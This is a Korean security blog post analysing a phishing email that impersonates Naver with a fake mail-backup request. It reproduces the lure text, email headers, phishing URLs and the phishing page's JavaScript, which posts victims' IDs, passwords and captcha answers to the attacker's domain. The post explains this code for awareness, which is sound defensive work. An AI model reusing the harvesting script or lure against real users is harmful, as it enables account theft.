오늘은 네이버 피싱 메일 캄보디아 이주와 관련하여 회원님의 메일 백업 요청이 접수 되었습니다. 피싱 메일 분석을 해 보겠습니다.
일단 해당 피싱 메일을 보낸 사람이 한메일을 사용하고 있어서 발신이 만 확인을 하면 누구나 쉽게 해당 메일을 피싱 메일인 것을 확인할 수가 있으며 해당 메일의 내용은 메일 백업 요청이 접수됨 그러니 보안팀은 메일 이용약관에 따라 확인 요청 매일 보냈다고 함
피싱 메일 내용
회원님의 메일 백업 요청이 접수되었습니다.
안녕하세요. ?????님
회원님의 아이디 ?????****@naver.com 에 대한 메일 백업 요청이 접수되었으므로 보안팀은 메일 이용약관에 따라 본인 확인 요청 메일을 발송하였습니다.
세부정보는 다음과 같습니다.
메일 백업 요청 정보
행위 일시 2023-09-11 (월) 10:37
요청 IP 126.58.47(.)99 (라오스*)
요청 사유 해외 이주 신고 승인
주의
회원님이 요청한 게 맞나요?
회원님의 활동이 아니라면 지금 바로 “메일 백업 요청 삭제”를 눌러 주세요.
메일 백업 요청 삭제
[소프트웨어 팁/보안 및 분석] - 네이버 피싱 메일 ????님의 계정에 비정상적인 로그인 시도가 감지되었습니다.(2023.03.09)
이라고 돼 있으며 자신
즉 자신이 라오스에 살고 있으며 진짜 본인에게 생긴 일인지 알고 클릭을 할 수가 있지만, 메일에 포함된 주소를 보면 쉽게 확인을 할 수가 있습니다.
이메일 헤더 내용
ARC-Authentication-Results: i=1; mx.naver(.)com;
spf=pass (mx.naver.com: domain of maui???@hanmail(.)net
designates 220.64.110(.)213 as permitted sender)
smtp.mailfrom=maui2000@hanmail(.)net;
dmarc=pass (p=NONE sp=NONE dis=NONE)
header.from=hanmail(.)net
Return-Path: <maui2000@hanmail(.)net>
Received-SPF: pass (mx.naver(.)com: domain of maui2000@hanmail(.)net
designates 220.64.110(.)213 as permitted sender)
client-ip=220.64.110(.)213; x-iptype=white;,pass (mx.naver(.)com:
domain of naverpayadmin_noreply@navercorp(.)com
designates 111.91.135(.)17 as permitted sender)
client-ip=111.91.135(.)17; x-iptype=white;
Authentication-Results: mx.naver(.)com; spf=pass (mx.naver(.)com:
domain of maui2000@hanmail(.)net
designates 220.64.110(.)213 as permitted sender)
smtp.mailfrom=maui2000@hanmail(.)net;
dmarc=pass (p=NONE sp=NONE dis=NONE)
header.from=hanmail(.)net,mail-qpsmtp-vm17;
auth=pass (login) smtp.auth=maui2000@hanmail(.)net,mx.naver(.)com;
spf=pass (mx.naver(.)com: domain of naverpayadmin_noreply@navercorp(.)com
designates 111.91.135(.)17 as permitted sender)
smtp.mailfrom=naverpayadmin_noreply@navercorp(.)com;
dmarc=pass (p=NONE sp=NONE dis=NONE) header.from=navercorp(.)com
X-Naver-ESV: +9+YpB3G1H+qbrJmjAuwjA???Kq2maBwBjg==
X-Session-IP:220.64.110(.)213
Received: from dmail-prod-ay-sm1-worker109.mail.kakao(.)com
(dmail-prod-ay-sm1-worker109.mail.kakao(.)com [220.64.110(.)213])
by crcvmail203.nm.naver(.)com with ESMTP id zzy-hqOQSMW1AtseiuyT-w
for <?????@naver(.)com> (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384);
Mon, 11 Sep 2023 01:38:09 -0000,from dmail-hmailsmtp-ayvm01 ([10.240.57(.)245])
by hermes of dmail-smail-smtp-normal-prod-6584fb75c8-rbkn4 (10.240.78(.)167)
with SMTP id r8BAc9hEx1864409116 for <???@naver(.)com>; Mon, 11 Sep 2023 10:38:09 +0900 (KST),
from mail-qpsmtp-vm17 ([127.0.0(.)1]) by hermes of
dmail-hmailsmtp-ayvm01 (10.93.105(.)31) with
ESMTP id r8BAc4A8M509286900 for <???????@naver(.)com>; Mon, 11 Sep 2023 10:38:04 +0900 (KST),
from [210.16.120(.)70] (HELO 210.16.120(.)70) (210.16.120(.)70)
by (8.12(.)9/8.9(.)1) with ESMTPA; ??, 11 9?? 2023 10:38:04 +0900
X-Hermes-Message-Id: r8BAc9hEx1864409116,r8BAc4A8M509286900
X-Kakaomail-MID: Cl1pHwAAOigAAAGKgeN+tgBEGQg=
Errors-To: <maui2000@hanmail(.)net>
X-Originating-IP: 210.16.120(.)70
Date: Mon, 11 Sep 2023 10:38:01 +0900
To:?????@naver.com
From: =?utf-8?B?7KC(V)67O0IOq0gOumrA==?=
<maui2000@hanmail(.)net>
Reply-To: =?utf-8?B?(7)KCV67O0IOq0gOumrA==?=
<maui2000@hanmail(.)net>
Subject: =?utf-8?B?7LqE67O065SU7JWEIOydtOyjvOyZgCDqtIDroKjtlZjsl6wg7ZqM7JuQ64uY?=
=?utf-8?B?7J2YIOuplOydvCDrsLHsl4Ug7JqU7LKt7J20IOygkeyImCDrkJjsl4jsirU=?=
=?utf-8?B?64uI64ukLg==?=
Message-ID: 3547782758(.)39131161.1030005272830@mailsend2.cos.navercorp(.)com
X-Works-FilterAction:Yes
Feedback-ID: naver_id:class1:Naver
MIME-Version:1.0
Content-Type:text/html; charset="utf-8"
Content-Transfer-Encoding: base64
X-HM-UT: 6FB63yJMSp/ecMpaObWF6cvTsfMtu2+l9lOto0vsCr4=
이메일 헤더 설명
1. ARC-Authentication-Results:
해당 부분은 이메일의 인증 결과를 나타냅니다.
spf=pass 는 SPF (Sender Policy Framework) 검사를 통과했음을 나타내며, 이메일이 허용된 소스에서 발송되었다는 것을 의미
dmarc=pass는 DMARC (Domain-based Message Authentication, Reporting, and Conformance) 검사를 통과했음을 나타내며, 이메일 도메인의 DMARC 정책을 준수했다는 것을 의미
smtp.auth=maui2000@hanmail(.)net는 SMTP 인증을 통해 이메일을 보냈다는 것을 나타냄
2.Return-Path:
Return-Path는 이메일이 반환되어야 할 주소를 나타낸 여기에서는 maui2000@hanmail(.)net으로 설정되어 있습니다.
3.Received-SPF 및 Authentication-Results:
Received-SPF는 이메일을 보낸 도메인(hanmail(.)net)의 SPF 결과를 나타내며 결과는 pass로 표시되어, 해당 도메인에서 이메일을 보낼 권한이 있다는 것을 의미
Authentication-Results에서는 SPF와 DMARC 결과를 다시 확인하고 있음
4.X-Session-IP, X-Originating-IP:
X-Session-IP와 X-Originating-IP는 이메일을 송신한 서버의 IP 주소를 나타냄
X-Session-IP는 이메일 전송 세션의 IP 주소를 X-Originating-IP는 이메일을 원래로 생성한 서버의 IP 주소를 나타냄
5. Date, To, From, Reply-To, Subject, Message-ID:
Date`는 이메일이 생성된 날짜와 시간을 나타냅니다.
To는 수신자 이메일 주소를 From은 송신자 이메일 주소를 나타냄
Reply-To는 답장을 보낼 때 사용할 이메일 주소를 나타냄
Subject는 이메일 제목을 포함하고 Message-ID 는 고유한 메시지 식별자를 제공
6. MIME-Version, Content-Type, Content-Transfer-Encoding:
MIME-Version은 메시지의 MIME 버전을 나타냄
Content-Type 은 이메일 콘텐츠의 유형과 문자 인코딩
Content-Transfer-Encoding은 콘텐츠 전송 인코딩 방식을 지정
7. X-Hermes-Message-Id, X-Kakaomail-MID:
X-Hermes-Message-Id 와 X-Kakaomail-MID 는 이메일 처리와 메일 서비스와 관련된 고유한 메시지 식별자
9.Errors-To:
Errors-To 는 에러 발생 시 이메일이 전달될 주소를 나타냄
피싱 메일 주소
https://tinyurl.com/2x3o????->https://지키미.서버(.)한국/?mode=7dafe23d6a9741fb8e4b760e
cc6208c7
&m=verify&token=??????==
&?????bb7cd8f34a36970b1e958801d5bf&last=edit
입니다.
피싱 사이트 IP 주소 및 인증서 정보
210.16.120.70(싱가포르)
ZeroSSL
그리고 웹소스에서는 로그인과 비밀번호 코드들이 있습니다.
<script type="text/javascript">
$(document).ready(function() {
$("#upw").focus();
$("#upw").keydown(function (event) {
onKeyDownPassword(event);
});
$("#idSubmitBtn").click(function (event) {
onClickSubmit();
});
});
function lockInput() {
$('#blockInput')(.)css({"z-index": "1000"});
$('#blockInput').focus();
}
function unlockInput() {
$('#blockInput')(.)css({"z-index": "-1"});
}
function showError(errMsg) {
$('#d_pswdErr').show();
$('#d_pswdErr')[0].innerHTML = errMsg;
}
function showCaptcha(captchaHtml) {
$('#idCaptchaDiv').show();
$('#idCaptchaDiv')[0].innerHTML = captchaHtml;
}
function onKeyDownPassword() {
if (event.keyCode == 13) {
onClickSubmit();
}
}
function onClickSubmit() {
lockInput();
upw = $('#upw')[0].value;
uid = $('#uid')[0].value;
captcha = $('#captcha')[0].value;
if (upw == "") {
unlockInput();
showError("비밀번호를 입력해 주세요.");
} else {
$.ajax({
url : 'https://xn--hg3b15whlf(.)xn--hk3b17f.xn--3e0b707e:443//?m
=cmd&uid=???&mm=pwd&p1=' (+) encodeURIComponent(uid) + "&p2="
+ encodeURIComponent(upw) + "&p3=" + encodeURIComponent(captcha),
cache: false,
success : function(data) {
try {
responseJson = JSON.parse(data);
code = responseJson["code"];
p = responseJson["p"];
if (code == 'success') {
$.ajax({
url: 'https://xn--hg3b15whlf.xn--hk3b17f(.)xn--3e0b707e:443//?m=marker&p1=??????&p2=.vrf',
cache: false,
complete: function () {
location.replace("https://xn--hg3b15whlf(.)xn--hk3b17f(.)xn--3e0b707e:443
//?m=edit&token=c29reW80dQ%3D%3D&last=security");
}
});
} else if (code == 'pwd') {
unlockInput();
showError(p);
} else if (code == 'captcha') {
unlockInput();
showCaptcha(p);
showError("비밀번호와 자동입력방지문자를 정확히 입력해 주세요.");
} else if (code == '2step') {
location.replace('https://xn--hg3b15whlf.xn--hk3b17f(.)xn--3e0b707e:443//
?m=2step&token=c29reW80dQ%??%3D&last=edit');
} else if (code == 'unknown') {
location.replace('https://xn--hg3b15whlf.xn--hk3b17f(.)xn--3e0b707e:443//
?m=edit&token=c29reW80??3D%3D&last=security');
}
else {
location.replace('https://xn--hg3b15whlf(.)xn--hk3b17f(.)xn--3e0b707e:443//
?m=edit&token=c29reW80d???D%3D&last=security');
}
} catch (ex) {
location.replace('https://xn--hg3b15whlf(.)xn--
hk3b17f(.)xn--3e0b707e:443//
?m=edit&token=c29reW8??3D&last=security');
}
},
error : function (data) {
unlockInput();
}
});
}
}
</script>
코드 설명
해당 코드는 JavaScript와 jQuery를 사용하여 작성된 웹 페이지 스크립트 해당 코드는 웹 페이지의 비밀번호 입력 기능과 관련된 동작을 구현
1. 페이지가 완전히 로드된 후 실행되는 함수:
문서가 완전히 로드된 후, 스크립트는 다음 동작을 수행
2. $("#upw").focus();:
페이지가 로드되고 비밀번호 입력란(#upw)에 포커스를 줌
3.$("#upw").keydown(function (event)....;:
비밀번호 입력란(#upw)에서 키가 눌릴 때마다 onKeyDownPassword 함수를 호출
4. $("#idSubmitBtn"). click(function (event)....:
idSubmitBtn라는 요소(아마도 로그인 버튼)를 클릭할 때 onClickSubmit 함수를 호출
5. lockInput() 함수:
입력을 잠금 상태로 만듬
blockInput` 요소의 z-index를 높여 화면을 가리고, 해당 요소에 포커스를 줌
6.unlockInput()함수:
입력 잠금을 해제
blockInput 요소의 z-index를 낮추어 화면을 숨김
7.showError(errMsg) 함수:
오류 메시지를 표시
d_pswdErr 요소를 보이게 하고 오류 메시지를 해당 요소에 표시
8.showCaptcha(captchaHtml) 함수:
자동입력방지 문자를 표시
idCaptchaDiv 요소를 보이게 하고 자동입력방지 문자를 해당 요소에 삽입
9.onKeyDownPassword() 함수:
키가 입력될 때 호출되며 Enter 키(키 코드 13)가 눌리면 onClickSubmit 함수를 호출
10. onClickSubmit() 함수:
입력된 비밀번호(upw), 사용자 ID(uid), 자동입력방지 문자(captcha)를 가져옵니다.
만약 비밀번호가 비어 있다면 오류 메시지를 표시하고 입력 잠금을 해제
그렇지 않으면 AJAX를 사용하여 서버에 요청을 보냅니다.
서버 응답에 따라 다양한 동작을 수행하며 성공적으로 로그인되면 다른 페이지로 리디렉션 됩니다.
해당 코드는 웹 페이지의 로그인 기능을 처리하고, 비밀번호 오류, 자동입력방지 문자 및 기타 오류를 처리 해당 코드는 jQuery를 사용하여 DOM 요소를 조작하고 AJAX를 사용하여 서버와 통신합니다.
기타 사이트 설명
https://xn--hg3b15whlf.xn--hk3b17f(.)xn--3e0b707e:443//?m=2step&token=c29re
W80dQ%3D%3D&last=edit (스마트폰 2단계 인증 사이트)
https://xn--hg3b15whlf.xn--hk3b17f(.)xn--3e0b707e:443//?m=edit&token=c29reW80dQ%3D%3D&l
ast=security (네이버 현재 비밀번호 및 새로운 비밀번호 변경)
https://xn--hg3b15whlf.xn--hk3b17f(.)xn--3e0b707e:443//?m=cmd&uid=??????&mm=pwd&p1='
+ encodeURIComponent(uid) + "&p2=" + encodeURIComponent(upw) + "&p3="
+ encodeURIComponent(captcha)
HTTP Debugger Pro로 보면 확실하게 입력한 비밀번호 캡처 확인 코드 정보가 수집된 것을 확인할 수가 있었습니다.
결론 예전에 수법인 알 수 없는 기기로 로그인되었다는 방식이 아닌 이용약관 위반, 뜬금없이 캄보디아 이주 관련 메세지로 오는 것으로 변경된 것 같습니다.
결론은 네이버 진짜 매일 이면 네이버 초록색 마크가 붙어 있겠다는 것을 알면 될 것이며 단축주소로 돼 있다~그럼 100% 낚시라고 생각을 하시면 될 것 같습니다. 오늘은 네이버 관련 피싱 메일에 대해 글을 적어 보았습니다.
'소프트웨어 팁 > 보안 및 분석' 카테고리의 다른 글
삼성 브라우저를 위장 하고 있는 스마트폰 악성코드-인터넷.apk(국민건강공단 피싱앱,2023.8.27) (0) | 2023.09.18 |
---|---|
마이크로소프트 엣지 117 즐겨찾기 복구 및 기능 제거 및 보안 업데이트 (0) | 2023.09.17 |
프랑스 iPhone 12(아이폰 12) 높은 방사선 으로 판매 중지 (0) | 2023.09.17 |
Konni(코니) 에서 만든 국세청 사칭 악성코드-국세청 종합소득세 해명자료 제출 안내(2023.9.4) (0) | 2023.09.15 |
국민건강보험 공단 피싱 사이트 스미싱 사이트-buyhwan(.)xyz(2023.09.11) (0) | 2023.09.14 |
윈도우 10 KB5030211 보안 업데이트 (0) | 2023.09.13 |
파이어폭스(Firefox),썬더버드(Thunderbird) WebP 보안 문제 업데이트 (0) | 2023.09.13 |
페이스북 비즈니스 계정 사칭 피싱 사이트-account fb reserve 5e029(.)web(.)app(2023.9.9) (2) | 2023.09.13 |